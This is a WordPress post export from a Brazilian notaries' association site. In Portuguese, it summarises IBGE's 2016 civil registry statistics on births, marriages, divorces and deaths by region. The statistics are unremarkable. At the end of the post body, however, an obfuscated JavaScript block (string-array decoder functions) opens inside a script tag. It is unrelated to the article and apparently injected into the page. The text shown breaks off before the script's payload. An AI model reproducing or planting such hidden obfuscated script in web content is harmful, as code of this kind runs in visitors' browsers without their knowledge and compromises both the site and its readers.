{"id":1523,"date":"2017-11-14T11:36:46","date_gmt":"2017-11-14T13:36:46","guid":{"rendered":"http:\/\/www.anoregmt.org.br\/novo\/ibge-divulga-pesquisa-estatisticas-do-registro-civil-de-2016\/"},"modified":"2017-11-14T11:36:46","modified_gmt":"2017-11-14T13:36:46","slug":"ibge-divulga-pesquisa-estatisticas-do-registro-civil-de-2016","status":"publish","type":"post","link":"https:\/\/www.anoregmt.org.br\/novo\/ibge-divulga-pesquisa-estatisticas-do-registro-civil-de-2016\/","title":{"rendered":"IBGE divulga pesquisa Estat\u00edsticas do Registro Civil de 2016"},"content":{"rendered":"<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em 2016, ocorreram e foram registrados 2.793.935 nascimentos no Brasil, o que indica uma queda (-5,1%) na compara&ccedil;&atilde;o com 2015, quando tinham sido registrados 2.945.344 nascimentos. Foi a primeira queda desse n&uacute;mero desde 2010, incluindo o total e as Grandes Regi&otilde;es. Entre as unidades da Federa&ccedil;&atilde;o, apenas Roraima teve um pequeno contingente positivo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Foram registrados 1.095.535 casamentos civis em 2016 em todo o pa&iacute;s, sendo 5.354 entre pessoas do mesmo sexo. Houve queda (-3,7%) em rela&ccedil;&atilde;o a 2015. A redu&ccedil;&atilde;o foi observada tanto nos casamentos entre c&ocirc;njuges de sexos diferentes quanto para os c&ocirc;njuges do mesmo sexo, com exce&ccedil;&atilde;o das Regi&otilde;es Sudeste e Centro-Oeste que apresentaram aumento nos casamentos civis entre pessoas do mesmo sexo.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Foram concedidos 344.526 div&oacute;rcios em 1&ordf; inst&acirc;ncia ou por escrituras extrajudiciais em 2016, um aumento de 4,7% em rela&ccedil;&atilde;o a 2015, quando foram concedidos 328.960 div&oacute;rcios.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O volume de &oacute;bitos registrados no Brasil entre 2006 e 2016 aumentou em 24,7%, com redu&ccedil;&atilde;o expressiva da mortalidade at&eacute; os 14 anos de idade e aumento nas idades mais avan&ccedil;adas, em especial acima dos 50 anos, um reflexo do envelhecimento populacional. Em 2016, considerando apenas os &oacute;bitos por causas externas, um homem de 20 anos tinha onze vezes mais chance de n&atilde;o completar os 25 anos do que uma mulher.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Essas e outras informa&ccedil;&otilde;es est&atilde;o dispon&iacute;veis nas Estat&iacute;sticas do Registro Civil 2016. Clique&nbsp;<a href=\"https:\/\/www.ibge.gov.br\/estatisticas-novoportal\/sociais\/populacao\/9110-estatisticas-do-registro-civil.html\" rel=\"noopener noreferrer\" target=\"_blank\">aqui<\/a>&nbsp;para acessar a publica&ccedil;&atilde;o completa.<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" alt=\"\" class=\"alignnone img-responsive size-full wp-image-35609\" src=\"http:\/\/www.anoreg.org.br\/site\/wp-content\/uploads\/2017\/11\/IBGE.jpg\" style=\"height:332px; width:926px\" \/><strong>Nascimentos t&ecirc;m primeira queda desde 2010<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Pela primeira vez desde 2010, foi verificada uma queda no total de registros de nascimentos do pa&iacute;s e em todas as Grandes Regi&otilde;es. Na compara&ccedil;&atilde;o com 2015, o Brasil apresentou uma redu&ccedil;&atilde;o m&eacute;dia de -5,1% no total de nascimentos. A regi&atilde;o com menor queda foi a Sul com -3,8% e o Centro-Oeste, com maior queda, -5,6%.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O estado de Pernambuco foi o que registrou a maior queda no volume de registros de nascimentos (-10,0%) no Nordeste e no pa&iacute;s. Roraima foi a &uacute;nica Unidade da Federa&ccedil;&atilde;o que apresentou aumento de nascimentos ocorridos e registrados entre 2015 e 2016, 3,9%. No Norte, a maior queda nos nascimentos foi registrada no Tocantins, com -8,0%. No Nordeste, a menor e a maior queda nos nascimentos foram registradas no Maranh&atilde;o (-2,3%) e em Pernambuco (-10,0%), respectivamente. No Sudeste, as quedas variaram de -5,1% em S&atilde;o Paulo e -6,5% no Rio de Janeiro. No Sul as quedas nos nascimentos foram relativamente menores, variando de -2,2% em Santa Catarina e -4,7% no Rio Grande do Sul. No Centro-Oeste, a redu&ccedil;&atilde;o no n&uacute;mero de nascimentos foi maior para o Mato Grosso (-6,8%) e menor para o Mato Grosso do Sul (-4,0%).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; A distribui&ccedil;&atilde;o percentual dos nascimentos por grupo de idade da m&atilde;e se manteve inalterada em rela&ccedil;&atilde;o a 2015. Os nascimentos na regi&atilde;o Norte t&ecirc;m maior concentra&ccedil;&atilde;o no grupo de idade das m&atilde;es de 20-24 anos (29,6% dos nascimentos). Por outro lado, as regi&otilde;es Sul e Sudeste t&ecirc;m o perfil mais envelhecido da curva de distribui&ccedil;&atilde;o dos nascimentos por idade da m&atilde;e. Nessas regi&otilde;es, o maior percentual de nascimentos ocorre entre as mulheres de 25-29 anos (Sul, 24,7% e Sudeste, 24,3%), 20-24 anos (23,5%) e 30-34 anos (22,1%)<\/p>\n<p style=\"text-align: justify;\"><strong>Casamentos t&ecirc;m redu&ccedil;&atilde;o de 3,7% de 2015 para 2016<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Foram registrados 1.095.535 casamentos civis em 2016 em todo o pa&iacute;s, sendo 5.354 entre pessoas do mesmo sexo. Houve redu&ccedil;&atilde;o de 3,7% no total de casamentos registrados em rela&ccedil;&atilde;o ao ano de 2015. Essa redu&ccedil;&atilde;o foi observada em todas as Grandes Regi&otilde;es do pa&iacute;s, variando de -4,6% no Nordeste a -1,3% no Norte.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Este comportamento foi observado tanto nos casamentos entre c&ocirc;njuges de sexos diferentes quanto para os c&ocirc;njuges do mesmo sexo, a exce&ccedil;&atilde;o das Regi&otilde;es Sudeste e Centro-Oeste que apresentaram aumento nos casamentos civis entre pessoas do mesmo sexo, de 1,6% e 7,7%, respectivamente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Das 27 Unidades da Federa&ccedil;&atilde;o, 20 apresentaram redu&ccedil;&atilde;o dos registros civis de casamentos entre 2015 e 2016, sendo o Piau&iacute; (-13,2%), Alagoas (-12,5%) e Para&iacute;ba (-11,3%), com redu&ccedil;&otilde;es acima de 10,0%. O Amap&aacute; se destaca pelo aumento de 20,0% no n&uacute;mero de casamentos registrados.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para cada mil habitantes do pa&iacute;s com 15 anos ou mais de idade, sete registraram casamento civil em 2016. A taxa de nupcialidade legal &eacute; menor da regi&atilde;o Sul (6,03 casamentos por mil habitantes com 15 anos ou mais de idade) e maior no Sudeste (8,35&permil;).<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Nas uni&otilde;es civis entre c&ocirc;njuges solteiros de sexos diferentes, para o Brasil, a diferen&ccedil;a das idades m&eacute;dias ao contrair a uni&atilde;o entre homens e mulheres era de aproximadamente 2 anos, sendo que os homens se uniram em m&eacute;dia aos 30 anos e as mulheres aos 28 anos. J&aacute; entre c&ocirc;njuges do mesmo sexo, a idade m&eacute;dia ao contrair a uni&atilde;o era de aproximadamente 34 anos, tanto para os homens, quanto para as mulheres.<\/p>\n<p style=\"text-align: justify;\"><strong>Div&oacute;rcios aumentam 4,7% entre 2015 e 2016<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em 2016, foram apurados 344.526 div&oacute;rcios concedidos em 1&ordf; inst&acirc;ncia ou por escrituras extrajudiciais, com um aumento de 4,7% em rela&ccedil;&atilde;o a 2015. Em m&eacute;dia, o homem se divorcia mais velho que a mulher, com 43 anos dele contra 40 dela. No Brasil, o tempo m&eacute;dio entre a data do casamento e a data da senten&ccedil;a ou escritura do div&oacute;rcio &eacute; de 15 anos.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Ao avaliar os div&oacute;rcios por tipo de arranjo familiar observou-se que a maior propor&ccedil;&atilde;o das dissolu&ccedil;&otilde;es ocorreu em fam&iacute;lias constitu&iacute;das somente com filhos menores de idade (47,5%) e em fam&iacute;lias sem filhos (27,2%). A guarda dos filhos menores &eacute; predominantemente da m&atilde;e, apresentando pequena varia&ccedil;&atilde;o negativa de 2015 (78,8%) para 2016 (74,4%). A guarda compartilhada aumentou de 12,9% em 2015 para 16,9% em 2016.<\/p>\n<p style=\"text-align: justify;\"><strong>&Oacute;bitos aumentam 24,7% em dez anos, em especial nas faixas et&aacute;rias mais altas<\/strong><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; O volume de &oacute;bitos registrados no Brasil nos &uacute;ltimos 10 anos teve um acr&eacute;scimo de 24,7%, passando de 1.019.393 registros em 2006 para 1.270.898 em 2016, considerando os registros com informa&ccedil;&otilde;es de sexo e idade da pessoa falecida. Enquanto nas idades iniciais os decl&iacute;nios foram significativos, foram observados aumentos importantes para as idades acima de 50 anos, fruto do envelhecimento populacional.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em 1976, os &oacute;bitos menores de 1 ano e de menores de 5 anos representavam 27,8% e 34,7% do total de &oacute;bitos, respectivamente. Quarenta anos depois, os avan&ccedil;os conseguidos em termos de diminui&ccedil;&atilde;o da mortalidade das crian&ccedil;as menores de 5 anos foram significativos e estes percentuais passaram a representar 2,4% e 2,9%, respectivamente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Por outro lado, o aumento dos &oacute;bitos da popula&ccedil;&atilde;o com idades acima de 65 anos foi significativo, de 34,7% em 1976 para 58,5% em 2016. Esta tend&ecirc;ncia de aumento do n&uacute;mero de &oacute;bitos nestas faixas et&aacute;rias &eacute; explicada pela diminui&ccedil;&atilde;o generalizada dos n&iacute;veis de mortalidade nos demais grupos de idade. Pessoas que at&eacute; ent&atilde;o n&atilde;o conseguiam alcan&ccedil;ar as idades mais avan&ccedil;adas, em fun&ccedil;&atilde;o do alto n&iacute;vel de mortalidade, come&ccedil;aram a envelhecer, fazendo com que o n&uacute;mero de &oacute;bitos acima de 65 anos aumentasse ao longo deste per&iacute;odo<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" alt=\"\" class=\"alignnone img-responsive size-full wp-image-35610\" src=\"http:\/\/www.anoreg.org.br\/site\/wp-content\/uploads\/2017\/11\/IBGE-2.jpg\" style=\"height:416px; width:649px\" \/><\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Normalmente, a mortalidade masculina &eacute; superior &agrave; feminina ao longo de toda a vida, com &ecirc;nfase entre os jovens e adultos jovens, por conta de causas externas (homic&iacute;dios, suic&iacute;dios, acidentes de tr&acirc;nsito, afogamentos, quedas acidentais etc.) que incidem com mais intensidade na popula&ccedil;&atilde;o masculina.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Em 2016, a sobremortalidade masculina por causas externas no grupo de 20 a 24 anos foi de 11,1 vezes, isto &eacute;, um homem de 20 anos tinha 11 vezes mais chance de n&atilde;o completar os 25 anos do que se fosse mulher. Em 1976, este valor era 4,6 vezes, um acr&eacute;scimo de 141,3% neste per&iacute;odo. Contudo, se forem considerados somente os &oacute;bitos por causas naturais no grupo de 20 a 24 anos, um homem de 20 anos teria 2,2 vezes mais chance de n&atilde;o completar os 25 anos do que uma mulher na mesma idade.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; Para a popula&ccedil;&atilde;o feminina observou-se um decl&iacute;nio do n&uacute;mero de &oacute;bitos por causas externas, entre 2006 e 2016, at&eacute; os 29 anos de idade e no grupo de 40 a 44 anos. Para os homens, o decl&iacute;nio do volume de &oacute;bitos vai at&eacute; os 14 anos de idade, aumentando significativamente a partir dos 15 anos at&eacute; os 39 anos, em fun&ccedil;&atilde;o de causas violentas. Os maiores aumentos relativos tanto para homens quanto para as mulheres, considerando as mortes por causas externas, foram observados no grupo de 80 anos ou mais, 42,2% e 62,8% para os homens e mulheres, respectivamente.<\/p>\n<p style=\"text-align: justify;\">&nbsp;&nbsp;&nbsp;&nbsp; No grupo de homens de 15 a 24 anos, algumas Unidades da Federa&ccedil;&atilde;o diminu&iacute;ram significativamente a quantidade de &oacute;bitos por causas externas, como S&atilde;o Paulo, Esp&iacute;rito Santo, Mato Grosso do Sul, Paran&aacute;, Rond&ocirc;nia, Distrito Federal, Rio de Janeiro, Santa Catarina, Pernambuco e Minas Gerais. No outro extremo, h&aacute; as Unidades da Federa&ccedil;&atilde;o que aumentaram o volume de &oacute;bitos entre 2006 e 2016 para este contingente populacional. No caso do estado da Bahia, o incremento foi de 171,3%. Os maiores aumentos pertenceram aos estados das Regi&otilde;es Norte e Nordeste do Pa&iacute;s.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const 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